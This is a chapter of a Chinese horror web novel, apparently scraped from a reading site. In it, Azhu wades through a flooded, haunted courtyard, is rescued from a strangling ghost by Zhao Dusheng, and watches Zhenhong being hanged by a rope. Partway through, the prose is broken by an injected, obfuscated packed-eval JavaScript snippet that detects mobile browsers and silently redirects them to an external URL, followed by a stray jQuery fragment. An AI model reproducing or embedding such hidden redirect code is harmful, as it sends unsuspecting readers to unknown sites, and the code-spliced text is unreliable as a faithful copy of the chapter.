默认冷灰
24号文字
方正启体

18. 鬼来隔座山

作者:金鳞甲本书字数:K更新时间:
    雾气浓稠得在眼前流淌飘浮,阿朱半臂开外的所有光景笼罩在这片氤氲里。


    她右脚踏出门槛,忽然察觉脚底踩在松软滑腻的东西上面。阿朱下意识挪开脚低头看去,才发现石砖上厚厚长了层青苔。


    浓雾倏忽逼迫过来,融在眼前。阿朱再去听,贞红隐约的哭声从雾里传来。


    犹豫不决时,身后一声吱呀声响起,阿朱觉得喉咙好似堵了什么,吞不进去吐不出来,回头只能看见门轻轻地被带上。


    “人来隔重纸,鬼来隔座山,千邪万邪都莫来跟前啊……”她语气虚浮无力,嘴里没有底气的对着空气喃喃,往台阶下一阶一阶走着,走到最后一阶时,阿朱踩进了水里。


    与平地毫不相干的水波晃动声突兀地响起,凉水瞬间淹湿鞋面和裤脚,流到脚背脚趾。


    阿朱整只右脚都湿了。


    要不算了,还是继续回去等着,等到天亮为止。夜里阴气太重,自己又没什么真本事,阿朱咽了咽口水,没骨气地想。


    她几乎就快要下定决心退回去了,远处的声音好像知道她内心的想法似的又开始小声地哭泣起来。不间断的哭声中,阿朱听到了两声明显的呼唤自己名字的声音。


    到底是妖鬼使的迷惑人心的术法还是贞红真的遇到了什么危险,阿朱不得而知。只是那声音太像了,阿朱内心几番挣扎之下后,决定亲自去看看。


    望着晃荡在台阶和自己小腿旁的水波,阿朱一鼓作气双脚踩进水坑。


    “嘶——”


    水是极冷的,两之脚一淌进去,冷得阿朱倒吸一口凉气,她紧巴着脸用力淌水。


    大雾浓白,阿朱边走边挥着手,试图将眼前的雾气驱散,只不过那点力气对沉在院子里的雾几乎没什么作用。


    水位从脚踝慢慢涨到小腿肚,阿朱双足冰冷到麻木没有知觉,偏偏上半身冷汗涔涔,后背濡湿连着衣服。


    时不时出现的哭声越来越接近。阿朱心里得了鼓舞,淌得更快,只是片刻后,阿朱发现或许自己面前的不是活人。


    一口边缘布满青苔的水井忽然出现在眼前。


    阿朱停下步子,周围安静得只剩自己的喘息声和水波轻微晃动的声音。


    青苔下的石砖颜色眼熟,阿朱定睛仔细辨认后,确定这就是那路边早已枯掉的水井。


    她心下慌乱,愈发觉得会有不好的事情发生。阿朱记得这井,更记得喜欢蹲守在井边的不可说。


    这井是枯井,井底该是没什么水的。


    阿朱劝慰自己,或许是夜里雾气太重走错了方向。一个没水的井而已,有什么可怕的。


    想着,阿朱就靠了过去,可映入眼帘的井里,井水满满当当,几乎要溢出来淌在地上同地上的冷水汇合在一起。


    阿朱眼睫轻轻抖动了下,跟着便彻底慌了神,眼前种种诡异之处让她本能地远离后退。


    视线迅速的在周遭扫了一圈,在确认没有那“东西”后,阿朱撒开了腿在水里奔走起来,只是始终是在水里,就算是跑也跑不了多快。


    阿朱越跑越慢,直到速度和走路差不多。


    她自己身上很重,一口气顺不上来,肩膀脊背像是被什么东西被重重压了下去,动弹不了。


    好重,好重,越来越重,怎么会这么重,沉到阿朱提不起大腿……


    阿朱弯下腰撑着膝盖低头呼了几口气,正欲继续动作时,眼角的视线不经意地扫过自己的身侧。


    一只手臂湿淋淋的,晃晃悠悠的搭在肩膀上。


    指尖滴答滴答落着不知道哪里出现的水。皮肉薄薄一层附着在上面。


    阿朱盯着眼前泛着水光的手背,呼吸骤然停止,那股气堵在喉咙,脸色瞬间涨成猪肝血红。胸膛剧烈起伏着,鼻腔发出类似“呼哧呼哧”声。


    她眼睛死死盯着这手下一步的动作。手臂除了苍白点几乎看不出和活人的手有什么差距。


    阿朱眼睁睁看见那只手翻过来五指向上摊开。要给我看什么?是要看掌心吗?


    不是。


    手腕骨头灵活的在皮肉下翻转后是骨瘦嶙峋的手背。皮肤表面光滑没有一条掌纹,几节指骨在下面轻轻的凸起。


    阿朱缓缓移开视线。鼓动的胸膛下骗自己看不见看不见,我看不见。


    她听见有东西移到自己的耳边,于是,耳垂像是被什么东西伸出柔软的触手勾了下。一只身形奇瘦,四肢远比常人更长的“人”正趴在她的后背上。


    脸颊旁的手臂突然变得很长,皮肤开始撕裂出白色扭曲类似烧伤过后长出新肉的疤痕。


    阿朱想跑,那只手的主人像是知道她的想法突然转了方向一把缠在阿朱的脖子上。阿朱吓了一跳,她顾不上什么眼不见心静,双手拉住让自己几乎窒息的手臂。


    颈侧有毛发刮过的触觉,阿朱转了转眼睛。一颗头发长至自己大腿的头伸了过来,脖子诡异得拉的很长,没有骨头似的挂在自己肩膀上。


    阿朱全身湿透了,她死死盯着不断在自己身上蟒蛇一般缠紧的恶灵,心中一股无力感高高升起。


    她走不动,太重了。


    几乎是要没意识时,一双大手头发突然环住阿朱的肩膀,活人的气息扑过来。阿朱双肩被扣住往后一扯,身上所有的重量消失不见。


    “啊咳…咳咳咳……”


    空气瞬间钻进肺腑,猛烈的呼吸刺痛喉咙和内脏,阿朱咳嗽几声后捂住嘴忍不住呕出两口酸水。


    意识还未回笼,整个人的身体被向后翻了过去。


    “叫你别乱跑,做你该做的事情,你深更半夜跑出来做什么!还嫌自己命好命长不够消遣是不是!”


    赵渡生说话难听,似乎是真生了气,没给阿朱留一点颜面地训斥。他以往也有说话不能进人耳朵的时候,但大多只是场面功夫,没什么真心实意在里头。


    阿朱两只眼睛黑漆漆,精神骤然松懈,目光恍惚地对上和自己一样泡在水里的赵渡生。


    “你怎么在这里?”


    “你管我在哪里?我算是看出来了,你压根就不怕我,你有这个忤逆我的本事。你刚刚怎么不拿这种态度把鬼吓走。”


    赵渡生气愤地说着,双手还晃着阿朱的肩膀。阿朱被晃得头晕,“别晃了别晃了。”她心想自己不被鬼吓死也要被赵渡生折腾死。


    阿朱伸手抓住赵渡生的手,没有信服力地回:“我哪里有,我只是想知道这里怎么变成这样了。”


    “我不知道。”


    赵渡生愣了愣,双手环住阿朱的一只手臂,那么高的个子小鸟似的依偎在人手边。


    阿朱推了推,没推开,赵渡生反而拉得更紧,对阿朱说:“你不害怕吗?害怕的话抓紧我就好了,我不会介意的。”


    ……


    阿朱叹了口气,“现在没了,你松开吧。”赵渡生听完就猛地提高了音量:


    “这不行,方才要不是我,你早被拖走了。现在不谢谢我,还准备弃我而去……我不管,你既然懂些除邪祛祟的办法,你不能让我死。”


    这人好没道理,分明自己才是最危险的那个。阿朱盯着赵渡生一脸正气凛然的脸,张了张嘴,叹口气说:“你不会死,你死不了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635213|172653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你骗人,我不信你。”


    “我发誓。”阿朱竖起没被缠住的另一只手冲天发誓,“赵渡生不会死。”


    那我先死,阿朱想。


    “这鬼地方,邪门的事情越来越多……”


    赵渡生在一旁抱怨,阿朱拎起自己被水浸泡完全的衣摆拧了拧,她耳朵动了动,突然拉住赵渡生的袖子。


    “嘘——你听见了吗?”阿朱兔子似的睁大眼睛,异常警觉机敏,“前面有声音。”


    “你管它什么声音,快点跟我走!”赵渡生一点废话不想多说,准备拖着阿朱走。


    远处聒噪不停的哭声扰得阿朱本就不太灵清的脑子更加糊涂,她终于忍不住开口:“不行,这声音是贞红的。”


    仿若错觉般的声音响起,赵渡生暗道不妙,没好气地说:“你!你管她做什么,万一是假的呢?”


    赵渡生恨铁不成钢,纤细脆弱的手腕在掌心轻柔地跳着。他仍旧抓住阿朱不肯放手,可最终拗不过阿朱,一路被阿朱拖着走过连廊。


    赵府不是赵府,忽然之间好像全不换了个景象。所有物件摆放都一致,可阿朱觉得这就不是赵府。


    跨过大门,阿朱远远望见贞红站在离水很远的地方,她身上干燥,似乎待在原地等了很久,看到阿朱忍不住放声哭了起来。


    “啊啊啊啊啊……阿朱,救救我啊,我害怕。”她脸花成猫,意识不到发生了什么,没有压低自己哭声的意思。


    “你过来。”


    阿朱松开拉住赵渡生的手,小心淌过去走到台阶上,带着一连串的水痕留在走过的路上。


    房内漆黑一片,贞红穿着自己的红衣裳,她伸出手脸上挤出一个获得生机后释然的笑容。


    变故只在刹那间发生,一根用在牛车马车上的草绳掉了下来,底部环成一个圈,阿朱大喊一声“不要!”


    可贞红已经冲了过来,脖颈套在粗粝的绳圈里后,绳圈猛地收紧,死死嵌在贞红脖颈的肉里,


    贞红喉咙溢出一声沉闷的喘气声便是窒息之人喉咙里嗬嗬嘶哑挣动。


    阿朱奔过去,还未来得及伸手,草绳猛地往上升,阿朱撞在贞红腾空不断踢蹬的小腿上。她双手抱住贞红晃动的小腿,踮起脚尖,努力往上抬,试图让贞红挣开绳圈。


    可她太矮了,她根本没法让贞红呼吸,只能眼睁睁看着贞红的脸变成绛红。


    贞红小腿摆动的幅度越来越小,阿朱回头朝赵渡生一字一顿、气喘吁吁地道:“赵渡生,帮帮我。”


    可赵渡生脸色灰白,血色褪得干干净净,整个人像是受了什么重大的打击刺激一般站在原地一动不动。漫无边际的水池里没有声音。


    手里挣动的力气逐渐微弱下去。“贞红”不再挣扎,踢蹬的双腿卸了力。


    阿朱以为贞红没生息了,无奈地抬头望去,却见贞红脸色紫红,咧出一个含泪的让人胆战心惊的笑。


    阿朱心头骇了一跳,还没来得及松开手,绳子就在此时突然承受不住,绷裂开来。“贞红”从高处直直坠落,砸在阿朱身上。阿朱听见自己一声痛呼,膝盖着地倒在了地上。


    脑袋里一阵嗡鸣,阿朱忍痛偏开头,模糊的最后一眼,看见赵渡生冲了过来。他的身后一只浑身乌黑的鸟风一般的闪了进来。黑鸟羽扇展开扑腾过来,爪子立在阿朱眼前。


    阿朱望向离自己仅有半个手臂距离的黑鸟,同尖喙两边漆黑的眼珠注视,冥冥之中,心脏忽然重重挑了两拍。


    尽管内心不断地逼迫自己挪开视线,可黑鸟就那样沉静地立在阿朱面前,转了转脑袋只看阿朱。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)